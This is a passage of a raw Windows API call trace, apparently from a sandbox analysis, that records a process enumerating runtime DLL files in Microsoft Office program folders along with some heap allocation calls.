lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee865693, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee865693, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2d34074e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x192448, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20.DLL", cAlternateFileName="")) returned 1 [0235.755] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee88b86f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee88b86f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61d7668, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8268, dwReserved0=0x0, dwReserved1=0x0, cFileName="FM20ENU.DLL", cAlternateFileName="")) returned 1 [0235.755] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee88b86f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee88b86f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dc7d9c2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x55b0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140.dll", cAlternateFileName="")) returned 1 [0235.755] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee88b86f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee88b86f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0194432, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140chs.dll", cAlternateFileName="MFC140~1.DLL")) returned 1 [0235.755] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee88b86f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee88b86f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefdda943, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140cht.dll", cAlternateFileName="MFC140~2.DLL")) returned 1 [0235.755] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee88b86f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee88b86f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dc7d9c2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140deu.dll", cAlternateFileName="MFC140~3.DLL")) returned 1 [0235.755] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf443017d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe460, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140enu.dll", cAlternateFileName="MFC140~4.DLL")) returned 1 [0235.756] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dc7d9c2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x100c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140esn.dll", cAlternateFileName="MF9310~1.DLL")) returned 1 [0235.756] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dc5770c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x104c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140fra.dll", cAlternateFileName="MF6461~1.DLL")) returned 1 [0235.756] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdc8437, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xfcc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140ita.dll", cAlternateFileName="MF3F49~1.DLL")) returned 1 [0235.756] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140jpn.dll", cAlternateFileName="MFC411~1.DLL")) returned 1 [0235.756] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb660, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140kor.dll", cAlternateFileName="MFBB77~1.DLL")) returned 1 [0235.756] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc21a8ad, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf4c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140rus.dll", cAlternateFileName="MF5D55~1.DLL")) returned 1 [0235.756] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2e67974c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x562670, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1 [0235.756] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x176c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfcm140.dll", cAlternateFileName="")) returned 1 [0235.756] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x176c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfcm140u.dll", cAlternateFileName="")) returned 1 [0235.756] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dca3bc1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x95058, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp100.dll", cAlternateFileName="")) returned 1 [0235.757] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x618c1b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9f4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp110.dll", cAlternateFileName="")) returned 1 [0235.757] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dca3bc1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9f458, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1 [0235.757] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x99258, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0235.757] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xca8e89fe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca8e89fe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdb5e071a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xcb058, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0235.757] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcdd5c75d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcdd5c75d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcdd5c75d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc8858, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr110.dll", cAlternateFileName="")) returned 1 [0235.757] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dca3bc1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe9458, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1 [0235.757] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8b1abe, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8b1abe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x54a60, dwReserved0=0x0, dwReserved1=0x0, cFileName="vccorlib110.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0235.757] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8d7d1d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc240ad7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x54cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vccorlib120.dll", cAlternateFileName="VCCORL~2.DLL")) returned 1 [0235.757] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8d7d1d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5d660, dwReserved0=0x0, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~3.DLL")) returned 1 [0235.757] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8d7d1d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0235.758] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8d7d1d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xce68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VEN2232.OLB", cAlternateFileName="")) returned 1 [0235.758] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8d7d1d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xce68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VEN2232.OLB", cAlternateFileName="")) returned 0 [0235.758] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0235.759] GetProcessHeap () returned 0xc10000 [0235.759] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0235.759] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b6194c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SystemX86", cAlternateFileName="SYSTEM~1")) returned 1 [0235.759] GetProcessHeap () returned 0xc10000 [0235.759] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0235.759] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\SystemX86\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b6194c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0235.991] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b6194c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.991] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39870, dwReserved0=0x0, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0235.991] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2e67974c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42acd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140.dll", cAlternateFileName="")) returned 1 [0235.991] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa68949f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa68949f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa6af6fe, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9860, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140chs.dll", cAlternateFileName="MFC140~4.DLL")) returned 1 [0235.991] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9860, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140cht.dll", cAlternateFileName="MF87C9~1.DLL")) returned 1 [0235.991] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00af60a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dcf007e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10860, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140deu.dll", cAlternateFileName="MFC140~1.DLL")) returned 1 [0235.992] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x860e337, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x860e337, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdcc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140enu.dll", cAlternateFileName="MF352D~1.DLL")) returned 1 [0235.992] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22f6470, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2dcf007e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10460, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140esn.dll", cAlternateFileName="MF9310~1.DLL")) returned 1 [0235.992] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0194432, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dcf007e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10860, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140fra.dll", cAlternateFileName="MFC140~2.DLL")) returned 1 [0235.992] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc6df3cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc6df3cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dcf007e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10060, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140ita.dll", cAlternateFileName="MF3F49~1.DLL")) returned 1 [0235.992] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ea37c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ea37c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140jpn.dll", cAlternateFileName="MFC140~3.DLL")) returned 1 [0235.992] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140kor.dll", cAlternateFileName="MFBB77~1.DLL")) returned 1 [0235.992] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aa3169, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aa3169, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aa3169, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf860, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140rus.dll", cAlternateFileName="MF5D55~1.DLL")) returned 1 [0235.992] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0dcc568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2e67974c, ftLastWriteTime.dwHighDateTime=0x1d327e8, 